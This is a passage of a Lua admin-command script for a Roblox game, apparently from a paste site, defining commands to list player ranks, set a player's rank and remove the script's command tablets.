  2515.  
  2516. Command('Ranks', 0, 'Shows all players in ranking table',
  2517. function(Msg,Speaker)
  2518. for _,v in pairs(Rankings) do
  2519. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2520. end
  2521. end)
  2522.  
  2523.  
  2524. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  2525. local Split = GetSplit(Msg)
  2526. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2527. local Rank = tonumber(Msg:sub(Split + 1))
  2528. if #PlrTab > 0 then
  2529. for _,v in pairs(PlrTab) do
  2530. if v.Name ~= Owner then
  2531. ChangeRank(v, Rank)
  2532. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2533. end
  2534. end
  2535. end
  2536. end)
  2537.  
  2538. Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
  2539. Dismiss()
  2540. Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
  2541. Dismiss()
  2542. Removed = true
  2543. for i,v in pairs(getfenv(1)) do
  2544. getfenv(1)[i] = nil
  2545. end
  2546. script.Disabled = true
  2547. end)
  2548. end)
Advertisement
Add Comment
Please, Sign In to add comment